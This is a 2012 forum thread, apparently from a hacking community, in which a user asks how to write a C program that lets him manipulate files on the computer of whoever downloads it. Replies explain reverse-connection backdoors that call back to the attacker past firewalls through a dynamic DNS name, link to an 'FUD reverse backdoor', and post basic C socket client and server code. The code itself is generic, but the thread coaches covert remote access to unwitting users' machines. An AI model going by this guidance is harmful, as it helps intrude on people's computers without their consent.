Socket programing in C

Socket programing in C

Post by xTractatorix on Thu Aug 16, 2012 6:38 pm
([msg=68778]see Socket programing in C[/msg])

The program that i wish to make does the following, it retrieves the ip adress of who ever downloads the program and then opens a connection between me and the other computer, to alow me to manipulate file on the other compter. I have acomplished the first part with a PHP script that shows me the ip adress of the viwer, now i have the other part left. That is why im asking about socket programing in C. Basically will it allow me to do what i want?
xTractatorix
Experienced User
Experienced User
 
Posts: 61
Joined: Sun May 13, 2012 8:42 am
Blog: View Blog (0)


Re: Socket programing in C

Post by AnankeMelior on Fri Aug 31, 2012 6:26 pm
([msg=69081]see Re: Socket programing in C[/msg])

I know that these post is 3 months old, but maybe someone will read it and will find these reply usefull.

So:
if you want to connect to the computer that exec your programs you can do it in a simpler way.
You don''t need to knwo his IP. You must know YOUR IP.

So when you write the program that the user will execute you will set his socket as a scoket that connect to a remore address.
Now you have to possibility to set this remote address:
[#] You can set your IP (but you must be sure that it will not change before execution of the program)
[#] You can use the C function that use an internet address like: http://www.hackthissite.org and then retrive it IP. So you can create and account at NoIP and obtain a domain name that link to your computer IP and that is continuosly updated

So on your computer you must run an other software to recive the connection. These software must use a scoket that will use "listen" and "accept".

Now when the user execute your program, it will connect back to you (bypassing eventually firewalls) and then the connection will be established. Now you can do what ever you want (file manipulation, console commands...)

If you want here you can find a simple example (the project is at the 1 version but it will be updated continuosly). The page is in Italian language but you can translate it with the button on the right side of the page:
http://ananke-shield.blogspot.it/2012/08/traidoor-v1-c-fud-reverse-backdoor.html

Sorry for my bad english
AnankeMelior
New User
New User
 
Posts: 3
Joined: Fri Aug 31, 2012 5:43 pm
Blog: View Blog (0)


Re: Socket programing in C

Post by ghost107 on Sat Sep 01, 2012 8:01 am
([msg=69084]see Re: Socket programing in C[/msg])

I have posted something similar in this thread:
viewtopic.php?f=102&t=8593

You should read about shells and reverse Shells:
Shells allows you to have a Shell connection to a computer with a public IP(the server is on the target computer), an reverse shell allows a computer from internal network(private netwok) to connect to you and manipulate it(the client is on the target computer).

Usually if you have made it from PHP you will only get the wan IP which this is located either on the target computer or on its external router(that's why you will need an reverse shell to make that computer to connect to your server).

Basic Client:
Code: Select all
//general libraries
#include <stdio.h>

// platform specific libraries
#ifdef WIN32
   #include <winsock2.h>
   // check if its visual c++
   #ifdef _MSC_VER
      #pragma comment(lib,"ws2_32.lib")
   #endif
#else
   #include <sys/types.h>
   #include <sys/socket.h>
   #include <netdb.h>
   #include <unistd.h>
   #include <errno.h>
#endif

// client starting up function
int startupClient(const char* serverName, unsigned short port) {
   // for errors
   int error;

   // windows winsock init
   #ifdef WIN32
      WSAData wsaData;

      // startup winsock
      if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) < 0) {
         printf("Could Not Start Up Winsock!\n");
         return -1;
      }
   #endif

   // create a clientSocket for the client
   int clientSocket = socket(AF_INET, SOCK_STREAM, 0);

   // check if it could create a socket
   if (clientSocket < 0) {
      printf("Error Opening Socket!\n");
      return -1;
   }

   // get the host entry from the client
   // gethostbyname converts from Domain, IP to hostent structure
   struct hostent *host_entry;
   if ((host_entry = gethostbyname(serverName)) == NULL) {
      printf("Could not find host!\n");
   }

   // init server connection info
   struct sockaddr_in server;
   memset(&server, 0, sizeof(sockaddr_in));

   // server connection info
   server.sin_family = AF_INET;
   server.sin_port = htons(port);
   server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;

   // connect to the server
   if (connect(clientSocket, (sockaddr*)&server, sizeof(server)) < 0) {
      printf("Error connecting to server!\n");
   }
   printf("Client Started\n");

   return clientSocket;
}

// client shutdown function
void shutdownSocket(int clientSocket) {
   #ifdef WIN32
      // close our socket
      closesocket(clientSocket);

      // shut down winsock
      WSACleanup();
   #else
      // close our socket
      close(clientSocket);
   #endif
   printf("Client Shutdown\n");
}

// the application entry point
int main(){
   int Socket = startupClient("10.0.0.1", 12345);
   if(Socket < 0){
      // error, shuting down socket and close app
      shutdownSocket(Socket);
      return 1;
   }
   
   // sending data
   char message[]="MyMessage";
   send(Socket, message, strlen(message), 0);
   
   // receiving data
   char message2[20]={0};
   recv(Socket, message2, sizeof(message2), 0);
   
   return 0;
}


Basic Server:
Code: Select all
//general libraries
#include <stdio.h>

// platform specific libraries
#ifdef WIN32
   #include <winsock2.h>
   // check if its visual c++
   #ifdef _MSC_VER
      #pragma comment(lib,"ws2_32.lib")
   #endif
#else
   #include <sys/types.h>
   #include <sys/socket.h>
   #include <netdb.h>
   #include <unistd.h>
   #include <errno.h>
#endif

// server startup listening only on 1 IP
int startupServer(const char* serverName, unsigned short port) {
   // windows winsock init
   #ifdef WIN32
      // the winsock data structure
      WSAData wsaData;

      // startup winsock
      if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) {
         printf("Could Not Start Up Winsock!\n");
         return -1;
      }
   #endif

   // create a server Socket for the client
   int Socket = socket(AF_INET, SOCK_STREAM, 0);

   // check if it could create a socket
   if (Socket < 0) {
      printf("Error Opening Socket!\n");
      return -1;
   }

   // init server connection info
   struct sockaddr_in server;
   memset(&server, 0, sizeof(sockaddr_in));

   // server connection info
   server.sin_family = AF_INET;
   server.sin_port = htons(port);
   
   // get the host entry from the client
   // gethostbyname converts from Domain, IP to hostent structure
   struct hostent *host_entry;
   if ((host_entry = gethostbyname(serverName)) == NULL) {
      printf("Could not find host!, trying by address \n");
      server.sin_addr.s_addr = inet_addr(serverName);
   }else{
      server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
   }
   // till now its the same as startupClient
   // instead of connect we bind and listen for new connectios

   // bind the server to an IP
   if (bind(Socket, (sockaddr*)&server, sizeof(server)) < 0) {
      printf("Bind Failed!\n");
      return -1;
   }

   // listen for new connections
   if (listen(Socket, 5) < 0) {
      printf("Listen Failed!\n");
      return -1;
   }

   printf("Server Started\n");

   return Socket;
}

//start up server listening on all interfaces
int startupServer(unsigned short port) {
   //0.0.0.0 means all networks
   return startupServer("0.0.0.0", port);
}

// Server shutdown function
void shutdownSocket(int clientSocket) {
   #ifdef WIN32
      // close our socket
      closesocket(clientSocket);

      // shut down winsock
      WSACleanup();
   #else
      // close our socket
      close(clientSocket);
   #endif
   printf("Client Shutdown\n");
}

// the application entry point
int main(){
   int Socket = startupServer("10.0.0.1", 12345);
   if(Socket < 0){
      // error, shuting down socket and close app
      shutdownSocket(Socket);
      return 1;
   }
   
   // new socket for every client,
   // you could create a socket wheel using a for loop to handle many clients
   int clientSocket;
   clientSocket = accept(Socket, 0, 0);

   // check for errors
   if (clientSocket < 0) {
      printf("Accept Failed!\n");
   }
   
   // receiving data
   char message2[20]={0};
   int nBytes = recv(clientSocket, message2, sizeof(message2), 0);
   
   switch(nBytes){
      case 0: {
         // client disconnected
         break;
      }
      case -1:{
         // if it's nonBlocking sochets you didnt received anything
         break;
      }
      default:
         // the message received from client
         if(!strcmp(message2, "MyMessage")){
            // sending data
            char message[]="MyMessage";
            send(clientSocket, message, strlen(message), 0);
         }
   }
   return 0;
}
ghost107
Poster
Poster
 
Posts: 143
Joined: Wed Jul 02, 2008 7:57 am
Blog: View Blog (0)



Return to C and C++

Who is online

Users browsing this forum: No registered users and 0 guests